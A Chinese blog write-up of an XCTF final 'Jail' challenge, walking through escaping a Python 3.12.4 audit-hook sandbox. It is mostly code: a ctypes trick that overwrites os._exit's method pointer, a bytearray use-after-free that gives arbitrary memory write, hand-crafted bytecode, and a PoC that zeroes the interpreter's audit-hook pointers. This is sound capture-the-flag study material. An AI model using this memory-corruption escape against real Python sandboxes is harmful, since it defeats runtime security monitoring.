XCTF Final Jail
本文最后更新于 139 天前,其中的信息可能已经有所发展或是发生改变。

唉,好nb的一个题,先写个搓出来的poc,具体原理等期末结束再细写

Audited

  • server.py
#!python3.12
# run on python 3.12.4
import sys
import os
import json

assert sys.version.startswith("3.12.4")

test_code = input("Enter the function in json: ")
sys.stdin.close()

if len(test_code) > 2540:
    exit(1)
test_code: json = json.loads(test_code)
del json

test_code["co_consts"] = tuple(tuple(a) if isinstance(
    a, list) else a for a in test_code["co_consts"])
test_code["co_names"] = tuple(tuple(a) if isinstance(
    a, list) else a for a in test_code["co_names"])
test_code["co_varnames"] = tuple(tuple(a) if isinstance(
    a, list) else a for a in test_code["co_varnames"])


def check_ele(ele, inner=False):
    if ele is None:
        pass
    elif isinstance(ele, int):
        # some random magic numbers w/o any meaning
        if ele not in range(-0xd000, 0x50000):
            exit(1)
    elif isinstance(ele, str):
        if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele):
            exit(1)
        elif len(ele) > 242:
            exit(1)
    elif isinstance(ele, tuple):
        if inner:
            exit(1)
        for a in ele:
            check_ele(a, True)
    else:
        exit(1)


for ele in test_code["co_consts"] + test_code["co_names"]:
    check_ele(ele)

del check_ele


def test(): pass


test.__code__ = test.__code__.replace(co_code=bytes.fromhex(test_code["co_code"]),
                                      co_consts=test_code["co_consts"],
                                      co_names=test_code["co_names"],
                                      co_stacksize=test_code["co_stacksize"],
                                      co_nlocals=test_code["co_nlocals"],
                                      co_varnames=test_code["co_varnames"])

del test_code

def auditHookHandler(e):
    def handler(x, _):
        if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
            e(1) #looololooo
            while(1): pass
    return handler


sys.addaudithook(auditHookHandler(os._exit))
del sys

test()

# free flag?! :)
os.system("cat /flag")
  • 首先看逻辑,接受输入参数,转换为json,然后从test_code中取出co_*的值,通过CodeType.replace将函数的行为替换为你输入的值,需要传递下列值
test_code = {
    "co_code": str,
    "co_consts": tuple,
    "co_names": tuple,
    "co_stacksize": int,
    "co_nlocals": int,
    "co_varnames": tuple
}
  • 限制主要三个部分:限制长度;限制intstr的值;通过audithook限制event事件触发
if len(test_code) > 2540:
    exit(1)
def check_ele(ele, inner=False):
    if ele is None:
        pass
    elif isinstance(ele, int):
        # some random magic numbers w/o any meaning
        if ele not in range(-0xd000, 0x50000):
            exit(1)
    elif isinstance(ele, str):
        if any((ord(a) not in (list(range(ord('0'), ord('9') + 1)) + list(range(ord('a'), ord('z') + 1)) + list(range(ord('A'), ord('Z') + 1)) + [95])) for a in ele):
            exit(1)
        elif len(ele) > 242:
            exit(1)
    elif isinstance(ele, tuple):
        if inner:
            exit(1)
        for a in ele:
            check_ele(a, True)
    else:
        exit(1)
def auditHookHandler(e):
    def handler(x, _):
        if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
            e(1) #looololooo
            while(1): pass
    return handler
  • 此外还有个比较隐晦的限制
test_code = input("Enter the function in json: ")
...
test_code: json = json.loads(test_code)
  • 自定义函数后,尝试获取到的属性有时并不能够被转换为json,自然,此种代码不能通过loads读入
def t():
    def test():
        pass
    
test_code = {
    "co_code": t.__code__.co_code.hex(),
    "co_consts": t.__code__.co_consts,
    "co_names": t.__code__.co_names,
    "co_stacksize": t.__code__.co_stacksize,
    "co_nlocals": t.__code__.co_nlocals,
    "co_varnames": t.__code__.co_varnames
}

print(test_code)
test_code = json.dumps(test_code)

"""
{'co_code': '9700640184007d007900', 'co_consts': (None, <code object test at 0x000002998E21C440, file "C:\Users\JBN\Downloads\test.py", line 12>), 'co_names': (), 'co_stacksize': 1, 'co_nlocals': 1, 'co_varnames': ('test',)}
Traceback (most recent call last):
  File "C:\Users\JBN\Downloads\test.py", line 44, in <module>
    test_code = json.dumps(test_code)
                ^^^^^^^^^^^^^^^^^^^^^
  File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 200, in encode
    chunks = self.iterencode(o, _one_shot=True)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 258, in iterencode
    return _iterencode(o, 0)
           ^^^^^^^^^^^^^^^^^
  File "C:\JBNRZ\Applications\anaconda\envs\python3.12\Lib\json\encoder.py", line 180, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type code is not JSON serializable
"""
  • 此题的关键在于hook函数的绕过,先提一嘴一开始尝试过的路子
def auditHookHandler(e):
    def handler(x, _):
        if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
            e(1) #looololooo
            while(1): pass
    return handler
  • 当事件不为这个三类值时,触发exit退出进程,那么则想过能否将exit通过内存修改为其他函数,不让进程退出;很巧,之前看过一个大跌写的文章,似乎用在这里很合适;简单总结即为通过ctypes覆盖到sys._exit的内存,替换为其余函数;但是存在两个问题,首先此题中获取不到ctypes,其次,即便成功覆盖,也无法绕过死循环while(1)(之前看的时候手动引入了ctypes而且也没看到死循环,属实是眼瞎的不行了💔
from ctypes import POINTER, c_uint64, cast
import os

def get_func_addr(func):
    return int(str(func.__call__).split("at ")[1][:-1], 16)
addr = get_func_addr(print)

ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]

ptr2 = cast(m_ml, POINTER(c_uint64))
print_ml_meth = ptr2[1] # ml_meth
addr = get_func_addr(os._exit)
assert addr == id(os._exit)

ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]

ptr2 = cast(m_ml, POINTER(c_uint64))
ptr2[1] = print_ml_meth
  • 虽然这个路子不行,但是思路可以借鉴,能否将hook函数替换掉或者删掉,但是尝试在官方文档中搜索后得到的结论是不行
Hooks cannot be removed or replaced
  • 淦,总不能python有bug吧?还真是;依据issues可以得知在python多个版本中存在UAF(Use After Free),从而在指定地址写入新的数据;
class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1


uaf = bytearray(56)
uaf[23] = UAF()
memory[id(23) + 24] = 123
print(23)

"""
123
"""
  • 则我们可以通过这个bug将hook函数覆盖掉,现在新的问题变成了,我们该如何获取到hook函数的地址;在这个issues中提到了一个绕过audit的仓库,我们只需在本地的环境中实现他的方法就行
class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1

uaf = bytearray(56)
uaf[23] = UAF()
# end of arbitery writing exploit code

# any function works here theoretically
ptr = getptr(os.system.__init__) + PTR_OFFSET[0]
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[1]

audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[2]
audit_hook_by_c = int.from_bytes(memory[ptr:ptr + 8], 'little') + PTR_OFFSET[3]
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
memory[audit_hook_by_c:audit_hook_by_c + 8] = [0] * 8
  • 通过type()代替class,定义一个具有__index__方法的类
# 类名 基类 方法
a = type("A", (object, ), {"__index__": auditHookHandler(0)})
  • 实际上这块儿__index__的值不一定非得auditHookHandler(),只需满足isinstance("test", FunctionType)即可,后续通过__code__.replace替换该函数的实际功能
class UAF:
    def __index__(self):
        global memory
        uaf.clear()
        memory = bytearray()
        uaf.extend([0] * 56)
        return 1


t = UAF.__index__.__code__
for i in dir(t):
    if i.startswith('co_') and i != "co_lnotab":
        print(i, getattr(t, i))


def auditHookHandler(e):
    def handler(x, _):
        if not (x == "object.__getattr__" or x == "object.__setattr__" or x == "code.__new__"):
            e(1) #looololooo
            while(1): pass
    return handler


t = auditHookHandler(0).__code__
for i in dir(t):
    if i.startswith('co_') and i != "co_lnotab":
        print(i, getattr(t, i))
  • 比对以下两个函数在定义上的差别,将影响函数行为的值都替换掉
a.__index__.__code__: types.CodeType = a.__index__.__code__.replace(
        co_argcount=1,
        co_code=bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
        co_consts=(None, 0, 56, 1),
        co_names=('uaf', 'clear', 'bytearray', 'memory', 'extend'),
        co_stacksize=4,
        co_varnames=("self",),
        co_nlocals=1
    )
  • 替换的目标函数为
def __index__(self):
    global memory
    uaf.clear()
    memory = bytearray()
    uaf.extend([0] * 56)
    return 1
  • 之后即可仿照原仓库,以os.system为基,计算hook函数的内存地址,其中,本题限定python==3.12.4
def t():
    # 调试中发现会出现memory uaf not defined的问题,声明一下全局变量即可
    global uaf, memory
    a = type("A", (object, ), {"__index__": auditHookHandler(0)})
    a.__index__.__code__ = a.__index__.__code__.replace(
        # 原CodeType和目标CodeType差异不小,将一些特殊的属性都替换掉,保持函数行为一致
        co_argcount=1,
        co_code=bytes.fromhex("9700740000000000000000006a03000000000000000000000000000000000000ab00000000000000010074050000000000000000ab000000000000006103740000000000000000006a090000000000000000000000000000000000006401670164027a050000ab0100000000000001007903"),
        co_consts=(None, 0, 56, 1),
        co_names=('uaf', 'clear', 'bytearray', 'memory', 'extend'),
        co_stacksize=4,
        co_varnames=("self",),
        co_nlocals=1
    )
    uaf = bytearray(56)
    uaf[23] = a()
    p = int(str(os.system.__init__).split()[-1][2:-1], 16) + 24
    p = int.from_bytes(memory[p:p + 8], 'little') + 48
    hook = int.from_bytes(memory[p:p + 8], 'little') + 0x46920
    memory[hook:hook + 8] = [0] * 8
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇